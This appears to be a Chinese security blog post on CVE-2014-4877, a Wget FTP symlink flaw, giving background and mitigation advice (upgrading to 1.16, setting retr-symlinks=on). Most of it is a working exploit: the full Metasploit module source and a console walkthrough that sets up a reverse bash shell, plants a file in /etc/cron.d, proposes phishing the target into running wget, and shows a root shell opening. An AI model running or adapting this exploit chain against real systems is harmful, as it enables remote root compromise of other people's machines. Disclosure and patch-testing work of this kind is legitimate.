- A+
Wget也是一款命令行工具,它能通过HTTP、HTTPS以及FTP等主流协议下载WEB上的文件。Wget可以安装在任何Unix系统上,也可以在许多的系统中相互移植,其中包括win系统,MacOSX、OpenVMS、MorphOS以及AmigaOS。
Wget容易受软链接攻击影响,当它通过FTP下载一个递归目录时,它就可能被利用来创建文件、目录及符号链接,并设置权限。
首次上报该漏洞给Wget开源项目组的人是Rapid7的首席安全官HDMoore,这个漏洞被命名为CVE-2014-4877。
由于几乎每一台Linux服务器上都安装了Wget应用,甚至不少OSX的机器也装有Wget(虽然不是默认安装),因此该漏洞影响范围非常巨大。通过系统级应用(如cron)或用户级应用(如bashprofile文件)以及SSH认证key,黑客能利用该漏洞发起远程代码执行攻击。
Metasploit已经推出该漏洞的利用测试代码(Expforweb),安全研究人员可以用它来测试这个漏洞。
Moore说:“想要彻底解决问题,请升级到Wget1.16版本或打上CVE-2014-4877的兼容补丁。”最新的Wget1.16版本中已经修复了此漏洞,这个版本禁用了默认配置“允许本地创建软链接”,不会再遍历他们,而是检索软链接指向的真实文件。
如果不做Wget版本升级,就需要在使用Wget时,谨慎使用–retr-symlinks选项。我们需要改变“retr-symlinks”选项默认的开关策略,阻止本地创建软链接。
除了需要改动那些“调用Wget的脚本或程序”中的参数外,还需要在Wget的配置文件中(如全局配置文件“/etc/wgetrc”,或者用户配置文件“~/.wgetrc”)加入配置选项“retr-symlinks=on”。
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::FtpServer
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'GNU Wget FTP Symlink Arbitrary Filesystem Access',
'Description' => %q{
This module exploits a vulnerability in Wget when used in
recursive (-r) mode with a FTP server as a destination. A
symlink is used to allow arbitrary writes to the target's
filesystem. To specify content for the file, use the
"file:/path" syntax for the TARGET_DATA option.
Tested successfully with wget 1.14. Versions prior to 1.16
are presumed vulnerable.
},
'Author' => ['hdm'],
'License' => MSF_LICENSE,
'Actions' => [['Service']],
'PassiveActions' => ['Service'],
'References' =>
[
[ 'CVE', '2014-4877'],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1139181' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access' ]
],
'DefaultAction' => 'Service',
'DisclosureDate' => 'Oct 27 2014'
)
register_options(
[
OptString.new('TARGET_FILE', [ true, "The target file to overwrite", '/tmp/pwned' ]),
OptString.new('TARGET_DATA', [ true, "The data to write to the target file", 'Hello from Metasploit' ]),
OptPort.new('SRVPORT', [ true, "The port for the malicious FTP server to listen on", 2121])
], self.class)
@fakedir = Rex::Text.rand_text_alphanumeric(rand(8)+8)
end
def run
my_address = Rex::Socket.source_address
print_good("Targets should run: $ wget -m ftp://#{my_address}:#{datastore['SRVPORT']}/")
exploit()
end
def on_client_command_user(c,arg)
@state[:user] = arg
c.put "331 User name okay, need password...\r\n"
end
def on_client_command_pass(c,arg)
@state[:pass] = arg
c.put "230 Login OK\r\n"
@state[:auth] = true
print_status("#{@state[:name]} Logged in with user '#{@state[:user]}' and password '#{@state[:user]}'...")
end
def on_client_command_retr(c,arg)
print_status("#{@state[:name]} -> RETR #{arg}")
if not @state[:auth]
c.put "500 Access denied\r\n"
return
end
unless arg.index(::File.basename(datastore['TARGET_FILE']))
c.put "550 File does not exist\r\n"
return
end
conn = establish_data_connection(c)
if not conn
c.put("425 Can't build data connection\r\n")
return
end
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
conn.put(datastore['TARGET_DATA'])
c.put("226 Transfer complete.\r\n")
conn.close
print_good("#{@state[:name]} Hopefully wrote #{datastore['TARGET_DATA'].length} bytes to #{datastore['TARGET_FILE']}")
end
def on_client_command_list(c,arg)
print_status("#{@state[:name]} -> LIST #{arg}")
if not @state[:auth]
c.put "500 Access denied\r\n"
return
end
conn = establish_data_connection(c)
if not conn
c.put("425 Can't build data connection\r\n")
return
end
pwd = @state[:cwd]
buf = ''
dstamp = Time.at(Time.now.to_i-((3600*24*365)+(3600*24*(rand(365)+1)))).strftime("%b %e %Y")
unless pwd.index(@fakedir)
buf << "lrwxrwxrwx 1 root root 33 #{dstamp} #{@fakedir} -> #{::File.dirname(datastore['TARGET_FILE'])}\r\n"
buf << "drwxrwxr-x 15 root root 4096 #{dstamp} #{@fakedir}\r\n"
else
buf << "-rwx------ 1 root root #{"%9d" % datastore['TARGET_DATA'].length} #{dstamp} #{::File.basename(datastore['TARGET_FILE'])}\r\n"
end
c.put("150 Opening ASCII mode data connection for /bin/ls\r\n")
conn.put("total #{buf.length}\r\n" + buf)
c.put("226 Transfer complete.\r\n")
conn.close
end
def on_client_command_size(c,arg)
if not @state[:auth]
c.put "500 Access denied\r\n"
return
end
c.put("213 #{datastore['TARGET_DATA'].length}\r\n")
end
def on_client_command_cwd(c,arg)
print_status("#{@state[:name]} -> CWD #{arg}")
if not @state[:auth]
c.put "500 Access denied\r\n"
return
end
upath = "/"
npath = ::File.join(@state[:cwd], arg)
bpath = npath[upath.length, npath.length - upath.length]
# Check for traversal above the root directory
if not (npath[0, upath.length] == upath or bpath == '')
bpath = '/'
end
bpath = '/' if bpath == ''
@state[:cwd] = bpath
c.put "250 CWD command successful.\r\n"
end
end
Metasploit工具利用方法:
msf> use exploit/multi/handler
msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash
msf exploit(handler) > set LHOST 192.168.0.4
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > run -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.0.4:4444
调用利用模块
msf exploit(handler) > use auxiliary/server/wget_symlink_file_write
msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell
msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell
msf auxiliary(wget_symlink_file_write) > set SRVPORT 21
msf auxiliary(wget_symlink_file_write) > run
[+] Targets should run: $ wget -m ftp://192.168.0.4:21/
[*] Server started.
通过钓鱼等手段让目标主机访问:wget -m ftp://192.168.0.4:21/
[*] 192.168.0.2:52251 Logged in with user 'anonymous' and password 'anonymous'...
[*] 192.168.0.2:52251 -> LIST -a
[*] 192.168.0.2:52251 -> CWD /1X9ftwhI7G1ENa
[*] 192.168.0.2:52251 -> LIST -a
[*] 192.168.0.2:52251 -> RETR cronshell
[+] 192.168.0.2:52251 Hopefully wrote 186 bytes to /etc/cron.d/cronshell
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.2:58498) at 2014-10-27 23:19:02 -0500
获取权限进入会话
msf auxiliary(wget_symlink_file_write) > sessions -i 1
[*] Starting interaction with 1...
id
uid=0(root) gid=0(root) groups=0(root),1001(rvm)
FreeBuf结语
本文在漏洞刚出的时候已撰写好,本可以及时发出。但是因为在发文时申请流程不当,导致文章发表被拖延,在这里小编代表个人向大家致歉。另外,希望小编新补充的部分内容对大家有所启发。
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫